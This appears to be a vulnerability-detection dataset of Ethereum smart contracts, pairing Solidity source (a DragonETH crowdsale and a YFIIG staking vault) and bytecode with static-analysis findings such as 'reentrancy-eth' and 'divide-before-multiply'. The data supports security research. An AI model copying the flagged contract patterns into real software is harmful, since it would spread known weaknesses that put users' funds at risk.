151610a2a565b50600101610bd3565b505050565b60005433600160a060020a03908116911614610c3957600080fd5b60005474010000000000000000000000000000000000000000900460ff1615610c6157600080fd5b6002546acecb8f27f4200f3a00000090610c81908363ffffffff610e1416565b10610c8b57600080fd5b600160a060020a033316600090815260036020526040902054610cae9082610e14565b600160a060020a033316600090815260036020526040902055600254610cd49082610e14565b600255600160a060020a0330166000600080516020610e2b8339815191528360405190815260200160405180910390a333600160a060020a031630600160a060020a0316600080516020610e2b8339815191528360405190815260200160405180910390a350565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a031681565b60005433600160a060020a03908116911614610d9157600080fd5b6000805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000831515021790557fc66e378b596f3b01004d4ee4ade9faff42014dae2242d63966a6d66821500e6a81604051901515815260200160405180910390a150565b600082821115610e0e57fe5b50900390565b600082820183811015610e2357fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820636e08309707f685c892d1fe4aac4ebaa1a35a1ff418bd4083630d3f29e6cc470029
{"success": true, "error": null, "results": {}}
92
0xbf662fb1c4ab0657bda2fbfec620f3a2e0589abf
pragma solidity ^0.4.24; /* https://dragoneth.com */ contract DragonsETH { function createDragon( address _to, uint256 _timeToBorn, uint256 _parentOne, uint256 _parentTwo, uint256 _gen1, uint240 _gen2 ) external; } library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly return size > 0; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } contract RBACWithAdmin is RBAC { /** * A constant role name for indicating admins. */ string public constant ROLE_ADMIN = "admin"; string public constant ROLE_PAUSE_ADMIN = "pauseAdmin"; /** * @dev modifier to scope access to admins * // reverts */ modifier onlyAdmin() { checkRole(msg.sender, ROLE_ADMIN); _; } modifier onlyPauseAdmin() { checkRole(msg.sender, ROLE_PAUSE_ADMIN); _; } /** * @dev constructor. Sets msg.sender as admin by default */ constructor() public { addRole(msg.sender, ROLE_ADMIN); addRole(msg.sender, ROLE_PAUSE_ADMIN); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function adminAddRole(address addr, string roleName) onlyAdmin public { addRole(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function adminRemoveRole(address addr, string roleName) onlyAdmin public { removeRole(addr, roleName); } } contract Pausable is RBACWithAdmin { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyPauseAdmin whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyPauseAdmin whenPaused public { paused = false; emit Unpause(); } } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } contract CrowdSaleDragonETH is Pausable, ReentrancyGuard { using SafeMath for uint256; using AddressUtils for address; address private wallet; address public mainContract; uint256 public crowdSaleDragonPrice = 0.01 ether; uint256 public soldDragons; uint256 public priceChanger = 0.00002 ether; uint256 public timeToBorn = 5760; // ~ 24h uint256 public contRefer50x50; mapping(address => bool) public refer50x50; constructor(address _wallet, address _mainContract) public { wallet = _wallet; mainContract = _mainContract; } function() external payable whenNotPaused nonReentrant { require(soldDragons <= 100000); require(msg.value >= crowdSaleDragonPrice); require(!msg.sender.isContract()); uint256 count_to_buy; uint256 return_value; count_to_buy = msg.value.div(crowdSaleDragonPrice); if (count_to_buy > 15) count_to_buy = 15; // operation safety check with functions div() and require() above return_value = msg.value - count_to_buy * crowdSaleDragonPrice; if (return_value > 0) msg.sender.transfer(return_value); uint256 mainValue = msg.value - return_value; if (msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); if (referer == address(0)) wallet.transfer(mainValue); else { if (refer50x50[referer]) { referer.transfer(mainValue/2); wallet.transfer(mainValue - mainValue/2); } else { referer.transfer(mainValue*3/10); wallet.transfer(mainValue - mainValue*3/10); } } } else wallet.transfer(mainValue); for(uint256 i = 1; i <= count_to_buy; i += 1) { DragonsETH(mainContract).createDragon(msg.sender, block.number + timeToBorn, 0, 0, 0, 0); soldDragons++; crowdSaleDragonPrice = crowdSaleDragonPrice + priceChanger; } } function sendBonusEgg(address _to, uint256 _count) external onlyRole("BountyAgent") { for(uint256 i = 1; i <= _count; i += 1) { DragonsETH(mainContract).createDragon(_to, block.number + timeToBorn, 0, 0, 0, 0); soldDragons++; crowdSaleDragonPrice = crowdSaleDragonPrice + priceChanger; } } function changePrice(uint256 _price) external onlyAdmin { crowdSaleDragonPrice = _price; } function setPriceChanger(uint256 _priceChanger) external onlyAdmin { priceChanger = _priceChanger; } function changeWallet(address _wallet) external onlyAdmin { wallet = _wallet; } function setRefer50x50(address _refer) external onlyAdmin { require(contRefer50x50 < 50); require(refer50x50[_refer] == false); refer50x50[_refer] = true; contRefer50x50 += 1; } function setTimeToBorn(uint256 _timeToBorn) external onlyAdmin { timeToBorn = _timeToBorn; } function withdrawAllEther() external onlyAdmin { require(wallet != 0); wallet.transfer(address(this).balance); } function bytesToAddress(bytes _bytesData) internal pure returns(address _addressReferer) { assembly { _addressReferer := mload(add(_bytesData,0x14)) } return _addressReferer; } }
0x6080604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c81146105105780630dd66c751461057957806314b1e1f8146105ae578063217fe6c6146105cf5780632da0c25c1461063657806331c911171461065d5780633f4ba83a146106725780634256fa5a14610687578063474923521461069c5780635c975abb146107265780636998a85b1461073b57806371443c4d146107535780638456cb591461076857806388cee87e1461077d57806391be0b31146107e457806398b9a2dc146107fc57806398d707791461081d5780639cb75b2f14610832578063a2b40d1914610856578063ae2621141461086e578063b25fa92c14610883578063d270e7ab146108ea578063d391014b1461091b575b600154600090819081908190819060ff161561014d57600080fd5b600154610100900460ff161561016257600080fd5b6001805461ff001916610100179055600454620186a0101561018357600080fd5b60035434101561019257600080fd5b61019b33610930565b156101a557600080fd5b6003546101b990349063ffffffff61093816565b9450600f8511156101c957600f94505b600354850234039350600084111561020a57604051339085156108fc029086906000818181858888f19350505050158015610208573d6000803e3d6000fd5b505b34849003925060143614156103ec576102536000368080601f0160208091040260200160405190810160405280939291908181526020018383808284375061094d945050505050565b9150600160a060020a03821633141561026b57600080fd5b600160a060020a03821615156102c05760015460405162010000909104600160a060020a0316906108fc8515029085906000818181858888f193505050501580156102ba573d6000803e3d6000fd5b506103e7565b600160a060020a03821660009081526008602052604090205460ff161561036057604051600160a060020a038316906002850480156108fc02916000818181858888f19350505050158015610319573d6000803e3d6000fd5b50600154620100009004600160a060020a03166108fc6002850485039081150290604051600060405180830381858888f193505050501580156102ba573d6000803e3d6000fd5b604051600160a060020a03831690600a600386020480156108fc02916000818181858888f1935050505015801561039b573d6000803e3d6000fd5b50600154620100009004600160a060020a03166108fc600a600386020485039081150290604051600060405180830381858888f193505050501580156103e5573d6000803e3d6000fd5b505b61042d565b60015460405162010000909104600160a060020a0316906108fc8515029085906000818181858888f1935050505015801561042b573d6000803e3d6000fd5b505b5060015b8481116104fe57600254600654604080517f3f07618d000000000000000000000000000000000000000000000000000000008152336004820152439092016024830152600060448301819052606483018190526084830181905260a483018190529051600160a060020a0390931692633f07618d9260c480820193929182900301818387803b1580156104c357600080fd5b505af11580156104d7573d6000803e3d6000fd5b50506004805460019081019091556005546003805490910190559290920191506104319050565b50506001805461ff0019169055505050005b34801561051c57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610577958335600160a060020a03169536956044949193909101919081908401838280828437509497506109549650505050505050565b005b34801561058557600080fd5b5061059a600160a060020a03600435166109c2565b604080519115158252519081900360200190f35b3480156105ba57600080fd5b50610577600160a060020a03600435166109d7565b3480156105db57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261059a958335600160a060020a0316953695604494919390910191908190840183828082843750949750610a669650505050505050565b34801561064257600080fd5b5061064b610ad9565b60408051918252519081900360200190f35b34801561066957600080fd5b50610577610adf565b34801561067e57600080fd5b50610577610b6b565b34801561069357600080fd5b5061064b610bf0565b3480156106a857600080fd5b506106b1610bf6565b6040805160208082528351818301528351919283929083019185019080838360005b838110156106eb5781810151838201526020016106d3565b50505050905090810190601f1680156107185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561073257600080fd5b5061059a610c2d565b34801561074757600080fd5b50610577600435610c36565b34801561075f57600080fd5b5061064b610c65565b34801561077457600080fd5b50610577610c6b565b34801561078957600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610577958335600160a060020a0316953695604494919390910191908190840183828082843750949750610cf19650505050505050565b3480156107f057600080fd5b50610577600435610d25565b34801561080857600080fd5b50610577600160a060020a0360043516610d54565b34801561082957600080fd5b5061064b610db5565b34801561083e57600080fd5b50610577600160a060020a0360043516602435610dbb565b34801561086257600080fd5b50610577600435610ed7565b34801561087a57600080fd5b5061064b610f06565b34801561088f57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610577958335600160a060020a0316953695604494919390910191908190840183828082843750949750610f0c9650505050505050565b3480156108f657600080fd5b506108ff610f40565b60408051600160a060020a039092168252519081900360200190f35b34801561092757600080fd5b506106b1610f4f565b6000903b1190565b6000818381151561094557fe5b049392505050565b6014015190565b6109be826000836040518082805190602001908083835b6020831061098a5780518252601f19909201916020918201910161096b565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610f71565b5050565b60086020526000908152604090205460ff1681565b610a013360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b600754603211610a1057600080fd5b600160a060020a03811660009081526008602052604090205460ff1615610a3657600080fd5b600160a060020a03166000908152600860205260409020805460ff19166001908117909155600780549091019055565b6000610ad2836000846040518082805190602001908083835b60208310610a9e5780518252601f199092019160209182019101610a7f565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610f86565b9392505050565b60055481565b610b093360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b600154620100009004600160a060020a03161515610b2657600080fd5b600154604051600160a060020a03620100009092049190911690303180156108fc02916000818181858888f19350505050158015610b68573d6000803e3d6000fd5b50565b610baa336040805190810160405280600a81526020017f706175736541646d696e00000000000000000000000000000000000000000000815250610954565b60015460ff161515610bbb57600080fd5b6001805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60065481565b60408051808201909152600a81527f706175736541646d696e00000000000000000000000000000000000000000000602082015281565b60015460ff1681565b610c603360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b600655565b60045481565b610caa336040805190810160405280600a81526020017f706175736541646d696e00000000000000000000000000000000000000000000815250610954565b60015460ff1615610cba57600080fd5b6001805460ff1916811790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b610d1b3360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b6109be8282610fa5565b610d4f3360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b600555565b610d7e3360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b60018054600160a060020a03909216620100000275ffffffffffffffffffffffffffffffffffffffff000019909216919091179055565b60075481565b60006040805190810160405280600b81526020017f426f756e74794167656e74000000000000000000000000000000000000000000815250610dfd3382610954565b600191505b828211610ed157600254600654604080517f3f07618d000000000000000000000000000000000000000000000000000000008152600160a060020a038881166004830152439093016024820152600060448201819052606482018190526084820181905260a4820181905291519290931692633f07618d9260c4808301939282900301818387803b158015610e9657600080fd5b505af1158015610eaa573d6000803e3d6000fd5b5050600480546001908101909155600554600380549091019055939093019250610e029050565b50505050565b610f013360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b600355565b60035481565b610f363360408051908101604052806005815260200160d960020a6430b236b4b702815250610954565b6109be82826110c6565b600254600160a060020a031681565b604080518082019091526005815260d960020a6430b236b4b702602082015281565b610f7b8282610f86565b15156109be57600080fd5b600160a060020a03166000908152602091909152604090205460ff1690565b61100f826000836040518082805190602001908083835b60208310610fdb5780518252601f199092019160209182019101610fbc565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506111a7565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561108757818101518382015260200161106f565b50505050905090810190601f1680156110b45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b611130826000836040518082805190602001908083835b602083106110fc5780518252601f1990920191602091820191016110dd565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506111c9565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360008381101561108757818101518382015260200161106f565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600160a060020a0316600090815260209190915260409020805460ff191660011790555600a165627a7a723058204d11153073d130bd3e0dbb4a19bb2fdf9e0c8a983a359a185d4d2587ab982cad0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
93
0x5050ced4edb03d14b5dd849c0735eb6f71aba433
/** *Submitted for verification at Etherscan.io on 2021-02-19 */ pragma solidity 0.7.6; // SPDX-License-Identifier: MIT library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract VaultYFIIG72Hours is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); event RewardsDisbursed(uint amount); // deposit token contract address address public trustedDepositTokenAddress = 0xAC523EB684be6e3fC5EF20a8b2328256b27d36E4; // LP Token Address address public trustedRewardTokenAddress = 0xeF8bA8cBa86f81B3108f60186FCe9c81B5096D5c; // YFIIG Address uint public constant withdrawFeePercentX100 = 50; uint public constant disburseAmount = 2000e18; uint public constant disburseDuration = 3 days; uint public constant cliffTime = 72 hours; uint public constant disbursePercentX100 = 10000; uint public contractDeployTime; uint public lastDisburseTime; constructor() { contractDeployTime = block.timestamp; lastDisburseTime = contractDeployTime; } uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalTokensDisbursed = 0; uint public contractBalance = 0; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function addContractBalance(uint amount) public onlyOwner { require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!"); contractBalance = contractBalance.add(amount); } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = block.timestamp; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint depositedAmount = depositedTokens[_holder]; uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToDeposit) public { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(msg.sender)) { holders.add(msg.sender); depositTime[msg.sender] = block.timestamp; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(block.timestamp.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } // withdraw without caring about Rewards function emergencyWithdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(block.timestamp.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!"); lastClaimedTime[msg.sender] = block.timestamp; lastDivPoints[msg.sender] = totalDivPoints; uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); emit RewardsDisbursed(amount); } function disburseTokens() public onlyOwner { uint amount = getPendingDisbursement(); // uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this)); if (contractBalance < amount) { amount = contractBalance; } if (amount == 0) return; distributeDivs(amount); contractBalance = contractBalance.sub(amount); lastDisburseTime = block.timestamp; } function getPendingDisbursement() public view returns (uint) { uint timeDiff = block.timestamp.sub(lastDisburseTime); uint pendingDisburse = disburseAmount .mul(disbursePercentX100) .mul(timeDiff) .div(disburseDuration) .div(10000); return pendingDisburse; } function getDepositorsList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = depositTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80637e1c0c091161010f578063b6b55f25116100a2578063e027c61f11610071578063e027c61f146107d7578063f2fde38b146107f5578063f3f91fa014610839578063fe547f7214610891576101e5565b8063b6b55f2514610715578063c326bf4f14610743578063d1b965f31461079b578063d578ceab146107b9576101e5565b80638f5705be116100de5780638f5705be1461066357806398896d10146106815780639f54790d146106d9578063ac51de8d146106f7576101e5565b80637e1c0c09146105d55780638b7afe2e146105f35780638da5cb5b146106115780638e20a1d914610645576101e5565b8063308feec3116101875780634e71d92d116101565780634e71d92d146105275780635312ea8e146105315780636270cd181461055f57806365ca78be146105b7576101e5565b8063308feec31461044f57806331a5dda11461046d578063452b4cfc146104a157806346c64873146104cf576101e5565b80630f1a6444116101c35780630f1a6444146103775780631cfa8021146103955780631f04461c146103c95780632e1a7d4d14610421576101e5565b806305447d25146101ea5780630813cc8f1461034f5780630c9a0c7814610359575b600080fd5b6102206004803603604081101561020057600080fd5b8101908080359060200190929190803590602001909291905050506108af565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561026f578082015181840152602081019050610254565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102b1578082015181840152602081019050610296565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102f35780820151818401526020810190506102d8565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561033557808201518184015260208101905061031a565b505050509050019850505050505050505060405180910390f35b610357610bc8565b005b610361610c7a565b6040518082815260200191505060405180910390f35b61037f610c80565b6040518082815260200191505060405180910390f35b61039d610c87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040b600480360360208110156103df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cad565b6040518082815260200191505060405180910390f35b61044d6004803603602081101561043757600080fd5b8101908080359060200190929190505050610cc5565b005b61045761125e565b6040518082815260200191505060405180910390f35b61047561126f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104cd600480360360208110156104b757600080fd5b